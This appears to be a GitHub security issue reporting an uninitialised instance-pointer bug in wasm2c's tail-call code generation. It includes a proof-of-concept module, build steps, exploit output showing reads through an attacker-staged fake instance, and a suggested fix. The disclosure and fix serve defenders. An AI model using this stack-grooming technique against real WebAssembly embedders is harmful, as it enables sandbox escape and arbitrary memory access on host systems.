Skip to content

(CVE-2026-90648) vulnerability in wasm2c: tail call to a local function uses an uninitialised module instance pointer #2831

Description

@Robert-TrustSig

Shell PoC

PoC added for executing an arbitrary shell command on the host
https://github.com/trustsig-eu/wasm2c-tableflip

Summary

CWriter::Write(const ReturnCallExpr&) in src/c-writer.cc emits a tail-call
trampoline whose instance pointer slot is only assigned when the call target is an
import:

/* src/c-writer.cc:4344 */
Write("next->fn = ", TailCallRef(func.name), ";", Newline());
if (IsImport(func.name)) {
  Write("*instance_ptr = instance->",
        GlobalName(ModuleFieldType::Import,
                   import_module_sym_map_.at(func.name)),
        ";", Newline());
}
DropTypes(num_params);
FinishReturnCall();

FinishReturnCall() then runs the trampoline loop
(while (next->fn) { next->fn(instance_ptr, tail_call_stack, next); }), and every
tail-callee begins with w2c_mod* instance = *instance_ptr;. When the target is a
local function, nothing ever writes that slot, so the callee adopts whatever the C
stack happened to contain and uses it as the module instance for globals, memory and
tables.

The declaration is uninitialised by construction:

/* src/c-writer.cc:3140 */
void CWriter::WriteTailCallStack() {
  Write("void *instance_ptr_storage;", Newline());
  Write("void **instance_ptr = &instance_ptr_storage;", Newline());
  ...

return_call_indirect is not affected: it always writes
*instance_ptr = <table>.data[i].module_instance;. Nested tail calls from inside a
tail-callee are not affected either, since in_tail_callee_ suppresses
WriteTailCallStack() and the incoming instance_ptr parameter is reused.

Trigger

A return_call whose target is

  1. a function defined in the same module (not an import), and
  2. a function that itself performs a tail call, so that
    func.features_used.tailcall is set and wasm2c takes the trampoline path rather
    than degrading to a plain call.

Module (poc/tailcall-uninit/poc.wat):

(module
  (memory (export "mem") 1)
  (global $g (export "g") (mut i32) (i32.const 0))
  (func $c (result i32) global.get $g)
  (func $b (result i32) return_call $c)
  (func (export "a") (result i32) return_call $b))

Generated by the released 1.0.41 wasm2c --enable-tail-call:

  {
    void *instance_ptr_storage;                    /* never written */
    void **instance_ptr = &instance_ptr_storage;
    char tail_call_stack[1024];
    wasm_rt_tailcallee_t next_storage;
    wasm_rt_tailcallee_t *next = &next_storage;
    next->fn = wasm_tailcall_w2c_poc_f1;
    while (next->fn) { next->fn(instance_ptr, tail_call_stack, next); }
  }

and

void wasm_tailcall_w2c_poc_f1(void **instance_ptr, void *tail_call_stack, wasm_rt_tailcallee_t *next) {
  w2c_poc* instance = *instance_ptr;                /* uninitialised */
  ...

Reproduction

Without any stack preparation the slot holds leftover data and the module faults:

[dbg] slot at 0xffffd9eeda78 holds 0x1
call trapped: 10

The value is not fixed, it is whatever the C stack holds. poc/tailcall-uninit/main.c
fills that stack region with a pointer to a second, attacker-chosen w2c_poc struct
before calling the export:

real instance  = 0xaaaad5a800e8 (global = 0x11111111)
fake instance  = 0xaaaad5a80128 (global = 0x00c0ffee)
groomed stack range 0xffffcaf51d50 .. 0xffffcaf61d48
a() = 0x00c0ffee  -> READ THROUGH ATTACKER-SUPPLIED INSTANCE POINTER

The module returned the fake instance's global, so the generated code resolved
global.get against a pointer supplied through stack contents rather than against the
instance the embedder passed in.

Build:

wat2wasm --enable-tail-call poc.wat -o poc.wasm
wasm2c --enable-tail-call poc.wasm -o poc.c
clang -O1 -g -I wasm2c -I . poc.c main.c \
      wasm2c/wasm-rt-impl.c wasm2c/wasm-rt-mem-impl.c \
      wasm2c/wasm-rt-exceptions-impl.c -o poc -lm
./poc

Impact

The instance pointer is the base for everything the sandbox owns: instance->w2c_gN
for globals, (&instance->w2c_mem)->data for the linear memory base, and the table
structs. Controlling it means the generated code reads its memory base from a
location of the attacker's choosing, which is a read and write primitive over the
whole host address space.

The pointer comes from uninitialised stack memory. In this PoC the C driver stages the
value, which models an embedder whose stack contents an attacker can influence. Within
a pure guest-only threat model the guest still controls a large part of that stack
through its own earlier calls (each wasm2c function frame, spilled locals, and the
1 KiB tail_call_stack scratch buffer live in the same region), so treating the value
as attacker-influenced is the safe assumption. Even in the least favourable case the
result is a wild-pointer dereference from untrusted input.

CWE-457 (use of uninitialised variable) leading to CWE-824 / CWE-787.

Affected versions

Present since tail-call support landed in commit 6e350ee (#2272, 2023-10-24), first
released in 1.0.34. Confirmed with the released 1.0.41 wasm2c and 1.0.41 runtime,
and on current main. Requires --enable-tail-call; tail calls are a standardised
WebAssembly feature, not an experimental proposal.

Suggested fix

Write the instance pointer in the local-target case too:

Write("next->fn = ", TailCallRef(func.name), ";", Newline());
if (IsImport(func.name)) {
  Write("*instance_ptr = instance->",
        GlobalName(ModuleFieldType::Import,
                   import_module_sym_map_.at(func.name)),
        ";", Newline());
} else {
  Write("*instance_ptr = instance;", Newline());
}

Initialising instance_ptr_storage at its declaration in WriteTailCallStack() would
also remove the uninitialised read, but the assignment at the call site is the one that
makes the value correct.

Activity

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Metadata

Metadata

Assignees

No one assigned

    Labels

    No labels
    No labels

    Type

    No type

    Projects

    No projects

      Milestone

      No milestone

      Relationships

      None yet

      Development

      No branches or pull requests

      Issue actions